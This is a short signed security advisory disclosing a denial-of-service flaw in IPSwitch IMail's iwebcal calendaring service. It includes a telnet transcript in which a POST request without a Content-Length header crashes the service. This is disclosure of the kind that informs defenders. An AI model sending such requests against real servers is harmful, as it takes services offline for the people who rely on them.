-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 2c79cbe14ac7d0b8472d3f129fa1df55 Security Advisory #6 #PRODUCT IPSwitch IMail, All Current Versions #VULNERABILITY the IMail Web Calendaring service, iwebcal, can be crashed by issuing a malformed POST request.. specifically one that neglects to include a "Content-Length:" parameter xxx@xx:~$ telnet 192.168.0.2 8484 Trying 192.168.0.2... Connected to 192.168.0.2. Escape character is '^]'. POST / HTTP/1.0 Connection closed by foreign host. [the iwebcal service has crashed] xxx@xx:~$ telnet 192.168.0.2 8484 Trying 192.168.0.2... telnet: connect to address 192.168.0.2: Connection refused #EXPLOITATION this is pretty obvious, it's a simple DoS.. and it looks as if remote code execution is not possible due to the nature of this programming error #PATCH sorry, no backdoors this time.. disable the service before someone else does? or wait for a vendor patch after a few hoaxes are debunked.. #EOF I think having a hotmail account closed in under 2 hours is some kind of record, especially if you consider I didn't do anything.. so if you sent anything to hotmail, it's likely I didn't get it.. oh and no, this isn't one of the 2 remaining, 2c79cbe14ac7d0b8472d3f129fa1df55@hush.com -----BEGIN PGP SIGNATURE----- Version: Hush 2.1 Note: This signature can be verified at https://www.hushtools.com wnEEARECADEFAj1GryIqHDJjNzljYmUxNGFjN2QwYjg0NzJkM2YxMjlmYTFkZjU1QGh1 c2guY29tAAoJEDDErl0ks36NYNEAn1G01zA2hwHdYvyumCfHOcsxA7NaAKCMka4ff/Ho fpiGbGqkVc7Fk8uU3A== =x/Fs -----END PGP SIGNATURE----- Communicate in total privacy. Get your free encrypted email at https://www.hushmail.com/?l=2 Looking for a good deal on a domain name? http://www.hush.com/partners/offers.cgi?id=domainpeople
